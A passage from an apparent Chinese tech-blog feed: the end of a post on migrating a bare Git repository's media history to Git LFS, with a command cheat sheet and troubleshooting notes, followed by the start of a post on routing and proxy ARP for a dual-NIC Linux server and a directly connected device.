&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;GIT_LFS_SKIP_SMUDGE=1 git clone ~&amp;#x2F;project&amp;#x2F;repos&amp;#x2F;birthday &amp;#x2F;tmp&amp;#x2F;verify   # 秒级，只拿指针
cd &amp;#x2F;tmp&amp;#x2F;verify
git lfs pull --include=pictures&amp;#x2F;IMG_20260923_113450.jpg                # 按需拉单个对象
sha256sum pictures&amp;#x2F;IMG_20260923_113450.jpg
# a69f81f1...0392 —— 与源文件、与指针 oid 三方一致
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiao-guo&quot;&gt;效果&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;迁移前&lt;&#x2F;th&gt;&lt;th&gt;迁移后&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;裸仓库 git 对象（size-pack）&lt;&#x2F;td&gt;&lt;td&gt;1.60 GiB&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;123.03 KiB&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;媒体存储&lt;&#x2F;td&gt;&lt;td&gt;git blob（进每次克隆）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lfs&#x2F;objects&#x2F;&lt;&#x2F;code&gt; 187 个对象，1.9G&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;全新克隆&lt;&#x2F;td&gt;&lt;td&gt;必拉 1.6G 历史&lt;&#x2F;td&gt;&lt;td&gt;秒级，媒体按需 &lt;code&gt;git lfs pull&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;ji-chu-pei-zhi-yu-chang-yong-ming-ling-su-cha&quot;&gt;基础配置与常用命令速查&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;pei-zhi-lei&quot;&gt;配置类&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs install&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全局装 smudge&#x2F;clean 过滤器 + 本仓库 hooks（pre-push 等），每台机器一次&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs track &quot;*.mp4&quot;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;添加跟踪规则（写 &lt;code&gt;.gitattributes&lt;&#x2F;code&gt;），&lt;strong&gt;之后&lt;&#x2F;strong&gt; add 的文件才走 LFS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs track&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;不带参数：列出当前所有跟踪规则&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs untrack &quot;*.mp4&quot;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;移除规则&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git add --renormalize .&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;规则变更后，把已跟踪文件按新过滤器重新入库（老文件补转 LFS 指针）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs env&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看 endpoint、可用传输代理等运行时配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;cha-kan-zhuang-tai-lei&quot;&gt;查看状态类&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs ls-files&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;列出当前受 LFS 管理的文件（oid 前缀 + 路径）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs ls-files -n&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;只列路径（配合 grep&#x2F;wc 好用）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs ls-files -s&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;附带对象大小&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs track&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;列出跟踪规则本身（区别于上面列文件）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git check-attr filter -- &amp;lt;path&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;验证单个路径是否命中规则：&lt;code&gt;filter: lfs&lt;&#x2F;code&gt; 命中，&lt;code&gt;unspecified&lt;&#x2F;code&gt; 未命中&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;chuan-shu-lei&quot;&gt;传输类&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git push&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;git pull&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;正常用即可，hooks 自动传输 LFS 对象，日常无感&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs pull&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;把当前 commit 需要的对象拉全并填充工作区&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs fetch --all&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;拉全量对象（不含填充工作区）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs push origin master --all&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;把本地全部 LFS 对象推到远端（备份场景）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;GIT_LFS_SKIP_SMUDGE=1 git clone &amp;lt;url&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;克隆时不拉媒体，先拿代码；之后 &lt;code&gt;git lfs pull&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;git lfs pull --include=&quot;&amp;lt;路径&amp;gt;&quot;&lt;&#x2F;code&gt; 按需拉&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs logs last&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;传输失败时看最近错误日志&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;li-shi-qian-yi-yu-kong-jian-lei&quot;&gt;历史迁移与空间类&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs migrate info --everything&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;迁移前分析：按大小列出值得转 LFS 的文件类型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs migrate import --everything --include=&quot;*.mp4,*.jpg&quot;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重写全部历史（哈希会变，需 force push）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git lfs prune&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;清理本地 &lt;code&gt;.git&#x2F;lfs&#x2F;objects&lt;&#x2F;code&gt; 中远端已持有的对象缓存（裸仓库已是全量备份时安全）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;git count-objects -vH&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;看 git 对象库体积（迁移前后对比用）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;cai-keng-ji-lu&quot;&gt;踩坑记录&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;keng-1-migrate-ba-wei-gen-zong-wen-jian-ye-suan-dirty&quot;&gt;坑 1：migrate 把未跟踪文件也算 dirty&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;git lfs migrate import&lt;&#x2F;code&gt; 内部用 &lt;code&gt;git status --porcelain&lt;&#x2F;code&gt; 判断工作区是否干净——&lt;strong&gt;未跟踪文件（&lt;code&gt;??&lt;&#x2F;code&gt;）也算&lt;&#x2F;strong&gt;。几个 &lt;code&gt;__pycache__&#x2F;*.pyc&lt;&#x2F;code&gt; 就会触发确认：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;migrate: override changes in your working copy?  All uncommitted changes will be lost! [y&amp;#x2F;N]
migrate: working copy must not be dirty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;非交互环境下默认选 N 直接中止。解法：先把该忽略的写进 &lt;code&gt;.gitignore&lt;&#x2F;code&gt; 并提交，&lt;code&gt;git status --porcelain&lt;&#x2F;code&gt; 输出为空再跑 migrate。顺带一提 &lt;code&gt;git status --short&lt;&#x2F;code&gt; 里的未跟踪文件和 &lt;code&gt;git lfs migrate&lt;&#x2F;code&gt; 的判定是一致的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keng-2-yan-zheng-li-shi-shi-wu-yong-zhong-xie-qian-de-jiu-ha-xi&quot;&gt;坑 2：验证历史时误用重写前的旧哈希&lt;&#x2F;h2&gt;
&lt;p&gt;gc 之前旧对象还在对象库里，&lt;code&gt;git cat-file -p &amp;lt;旧哈希&amp;gt;:&amp;lt;路径&amp;gt;&lt;&#x2F;code&gt; 依然能查到——查出来是&lt;strong&gt;原始二进制&lt;&#x2F;strong&gt;。验证迁移效果必须先通过 &lt;code&gt;git log --diff-filter=A --format=%H -- &amp;lt;路径&amp;gt;&lt;&#x2F;code&gt; 拿到重写后的新哈希再查。&lt;&#x2F;p&gt;
&lt;p&gt;这个坑还连带了终端事故：二进制直接喷进终端，乱码 + 终端状态损坏（错位、字符集错乱）。恢复手段的差别：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;clear&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;只清屏，不修复终端状态&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;tput reset&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;reset&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重新初始化终端：回显、字符集、键位、制表位全恢复&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;stty sane&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;只修复行纪律层（回显、控制键）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;先试 &lt;code&gt;printf &#x27;\e[0m\e[?25h&#x27;&lt;&#x2F;code&gt;（重置样式 + 恢复光标），不行再 &lt;code&gt;reset&lt;&#x2F;code&gt;。预防：看可疑对象先 &lt;code&gt;file&lt;&#x2F;code&gt; 判断类型，或过 &lt;code&gt;xxd&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;strings&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;head -c&lt;&#x2F;code&gt; 管道。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keng-3-track-zhi-qian-yi-zan-cun-de-wen-jian-bu-hui-zi-dong-zhuan&quot;&gt;坑 3：track 之前已暂存的文件不会自动转&lt;&#x2F;h2&gt;
&lt;p&gt;前文&quot;时机坑&quot;的展开：&lt;code&gt;git add&lt;&#x2F;code&gt; 在暂存时刻就完成 clean 过滤并落了 blob，后配置的 &lt;code&gt;.gitattributes&lt;&#x2F;code&gt; 对 index 里已有的条目不追溯。已暂存的大文件要重新 &lt;code&gt;git add&lt;&#x2F;code&gt; 一次。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keng-4-qian-yi-hou-ha-xi-quan-bian&quot;&gt;坑 4：迁移后哈希全变&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;migrate&lt;&#x2F;code&gt; 重写所有提交 + force push 后，其他位置的旧克隆会分叉。旧克隆要么 &lt;code&gt;git fetch &amp;amp;&amp;amp; git reset --hard origin&#x2F;master&lt;&#x2F;code&gt;，要么重新克隆。还好 standalone 模式下对象都在本地磁盘，操作成本只是几秒钟。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-zhan-chu-li-yuan-cheng-yi-zhong-xie-li-shi-de-lfs-cang-ku&quot;&gt;实战：处理远程已重写历史的 LFS 仓库&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wen-ti-chang-jing&quot;&gt;问题场景&lt;&#x2F;h2&gt;
&lt;p&gt;在另一台机器上完成了 LFS 迁移并 force push 后，本地工作副本出现分支偏离：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ git status
位于分支 master
您的分支和 &amp;#x27;smyl&amp;#x2F;master&amp;#x27; 出现了偏离，
并且分别有 13 和 16 处不同的提交。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;本地 master 还保留着原始的大文件（mp4&#x2F;jpg 是完整二进制），而远程 &lt;code&gt;smyl&#x2F;master&lt;&#x2F;code&gt; 已经是 LFS 指针。189 个文件与远程不同。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-jue-bu-zou&quot;&gt;解决步骤&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-tong-bu-yuan-cheng-fen-zhi&quot;&gt;1. 同步远程分支&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git fetch smyl
git reset --hard smyl&amp;#x2F;master
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-chu-li-lfs-ren-zheng-wen-ti&quot;&gt;2. 处理 LFS 认证问题&lt;&#x2F;h3&gt;
&lt;p&gt;如果遇到 &lt;code&gt;git-lfs-authenticate: command not found&lt;&#x2F;code&gt; 错误，说明 SSH 认证链路有问题。临时跳过 smudge 过滤器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git lfs install --skip-smudge
git reset --hard smyl&amp;#x2F;master
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-hui-fu-lfs-wen-jian&quot;&gt;3. 恢复 LFS 文件&lt;&#x2F;h3&gt;
&lt;p&gt;重置后文件会变成 LFS 指针（几十字节的文本文件）。检查本地缓存中有哪些对象可用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;find .git&amp;#x2F;lfs&amp;#x2F;objects -type f | wc -l    # 查看本地缓存对象数量
git lfs ls-files -l | grep &amp;lt;oid前缀&amp;gt;     # 查看对象对应哪个文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;恢复可用的文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git lfs checkout -- pictures&amp;#x2F;VID_20260927_100423.mp4  # 恢复单个文件
git lfs checkout                                       # 恢复所有本地可用文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-yan-zheng-hui-fu-jie-guo&quot;&gt;4. 验证恢复结果&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;file .&amp;#x2F;pictures&amp;#x2F;VID_20260927_100423.mp4
# 输出：ISO Media, MP4 v2 [ISO 14496-14]  ✓ 实际文件
# 而不是：ASCII text                       ✗ 仍然是指针
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;guan-jian-fa-xian&quot;&gt;关键发现&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本地缓存有限&lt;&#x2F;strong&gt;：只有迁移前就存在的 LFS 对象会留在本地缓存中&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;指针 vs 实际文件&lt;&#x2F;strong&gt;：&lt;code&gt;file&lt;&#x2F;code&gt; 命令可以快速区分——&lt;code&gt;ASCII text&lt;&#x2F;code&gt; 是指针，&lt;code&gt;ISO Media&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;JPEG image&lt;&#x2F;code&gt; 是实际文件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;按需恢复&lt;&#x2F;strong&gt;：&lt;code&gt;git lfs checkout&lt;&#x2F;code&gt; 只恢复本地缓存中已有的对象，缺失的对象需要 &lt;code&gt;git lfs pull&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;认证链路&lt;&#x2F;strong&gt;：SSH 方式需要服务器安装 &lt;code&gt;git-lfs ≥ 3.0&lt;&#x2F;code&gt;，否则会报 &lt;code&gt;git-lfs-authenticate: command not found&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;本地路径&#x2F;SSH 裸仓库用 LFS 的门槛极低：客户端装 git-lfs（≥3.0），远端零配置或只装个包&lt;&#x2F;li&gt;
&lt;li&gt;存量历史用 &lt;code&gt;git lfs migrate import --everything&lt;&#x2F;code&gt; 一步迁移，配合两边 &lt;code&gt;gc --prune=now&lt;&#x2F;code&gt;，git 对象库从 1.60 GiB 降到 123 KiB&lt;&#x2F;li&gt;
&lt;li&gt;迁移前把工作区收拾干净（.gitignore + renormalize 提交），躲开 migrate 的 dirty 校验&lt;&#x2F;li&gt;
&lt;li&gt;裸仓库目录现在就是完整备份（git 历史 + &lt;code&gt;lfs&#x2F;objects&#x2F;&lt;&#x2F;code&gt; 全量对象），直接打包即可迁移&lt;&#x2F;li&gt;
&lt;li&gt;日常 add&#x2F;commit&#x2F;push 完全无感，需要省磁盘时 &lt;code&gt;git lfs prune&lt;&#x2F;code&gt; 清本地缓存&lt;&#x2F;li&gt;
&lt;li&gt;远程已重写历史时，用 &lt;code&gt;git reset --hard &amp;lt;remote&amp;gt;&#x2F;&amp;lt;branch&amp;gt;&lt;&#x2F;code&gt; 同步，配合 &lt;code&gt;git lfs checkout&lt;&#x2F;code&gt; 恢复本地可用文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 双网卡 Server 与直连 Device 通信：标准路由与 Proxy ARP 两种方案（含勘误）</title>
        <published>2026-09-20T11:39:51+08:00</published>
        <updated>2026-09-20T11:39:51+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/dual-nic-server-device-proxy-arp/"/>
        <id>https://vercel.juzhong.asia/2026/09/dual-nic-server-device-proxy-arp/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/dual-nic-server-device-proxy-arp/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;有一台 Linux Server，拥有两块网卡：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;                 Server
          ┌─────────────────┐
          │                 │
      eth0│                 │eth1
          │                 │
          └─────────────────┘
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;eth0&lt;&#x2F;code&gt; 连接正常的业务网络；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;eth1&lt;&#x2F;code&gt; 与一个 Device 直接连接；&lt;&#x2F;li&gt;
&lt;li&gt;Server 上的 HTTP 服务绑定到了 &lt;code&gt;eth0&lt;&#x2F;code&gt; 的 IP &lt;code&gt;192.168.1.10&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;希望 Device 可以通过 &lt;code&gt;eth1&lt;&#x2F;code&gt; 访问这个 HTTP 服务。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Device ───────── eth1 ───────── Server
                                  │
                                  │ eth0
                                  ▼
                              192.168.1.10
                              HTTP Server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里有一个非常重要的概念：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HTTP 服务绑定在哪个网卡的 IP 上，并不意味着只有从这个网卡进入的数据包才能访问这个服务。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Linux 判断一个 IP 数据包是否属于本机，主要看：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;目标 IP 是否是本机地址
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而不是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;数据包是不是从拥有这个 IP 的网卡进入
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因此，只要 Device 能够把 &lt;code&gt;dst = 192.168.1.10&lt;&#x2F;code&gt; 的数据包送到 Server，Server 就可以把它交给 &lt;code&gt;192.168.1.10:80&lt;&#x2F;code&gt; 上的 HTTP 服务。&lt;&#x2F;p&gt;
&lt;p&gt;真正需要解决的问题是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Device 如何把目标为 &lt;code&gt;192.168.1.10&lt;&#x2F;code&gt; 的数据包送到 Server 的 eth1？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下面介绍两种不同的方案。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-an-yi-bu-tong-wang-duan-mo-ren-wang-guan&quot;&gt;方案一：不同网段 + 默认网关&lt;&#x2F;h1&gt;
&lt;p&gt;这是最传统、最标准的三层网络设计。&lt;&#x2F;p&gt;
&lt;p&gt;网络配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Server:
  eth0 = 192.168.1.10&amp;#x2F;24
  eth1 = 192.168.100.1&amp;#x2F;24

Device:
  eth1 = 192.168.100.2&amp;#x2F;24
  default gateway = 192.168.100.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;拓扑：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;                         Server
                  ┌──────────────────┐
                  │                  │
LAN ──────────────┤ eth0             │
192.168.1.0&amp;#x2F;24    │ 192.168.1.10     │
                  │                  │
                  │ eth1             │
                  │ 192.168.100.1    │
                  └────────┬─────────┘
                           │
                           │ Ethernet
                           │
                    192.168.100.2
                         Device
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Device 和 Server 的 eth1 属于 &lt;code&gt;192.168.100.0&#x2F;24&lt;&#x2F;code&gt;，Server 的 eth0 属于 &lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;，两个接口处于不同 IP 网络。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;device-de-lu-you-biao&quot;&gt;Device 的路由表&lt;&#x2F;h2&gt;
&lt;p&gt;Device 配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip addr add 192.168.100.2&amp;#x2F;24 dev ethX
ip route add default via 192.168.100.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;路由表可以理解为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.100.0&amp;#x2F;24 dev ethX
default via 192.168.100.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当 Device 访问 &lt;code&gt;192.168.1.10&lt;&#x2F;code&gt; 时，目标不属于 &lt;code&gt;192.168.100.0&#x2F;24&lt;&#x2F;code&gt;，因此匹配 &lt;code&gt;default via 192.168.100.1&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.1.10
      │
      ▼
下一跳：192.168.100.1
      │
      ▼
Server eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;arp-de-zuo-yong&quot;&gt;ARP 的作用&lt;&#x2F;h2&gt;
&lt;p&gt;Device 已经知道下一跳是 &lt;code&gt;192.168.100.1&lt;&#x2F;code&gt;，但 Ethernet 发送数据需要 MAC 地址，所以先发 ARP：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Who has 192.168.100.1?
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Server 的 eth1 回复：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.100.1 is-at &amp;lt;Server eth1 MAC&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后 Device 才真正发送 IP 数据包：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Ethernet:
    src MAC = Device MAC
    dst MAC = Server eth1 MAC

IP:
    src = 192.168.100.2
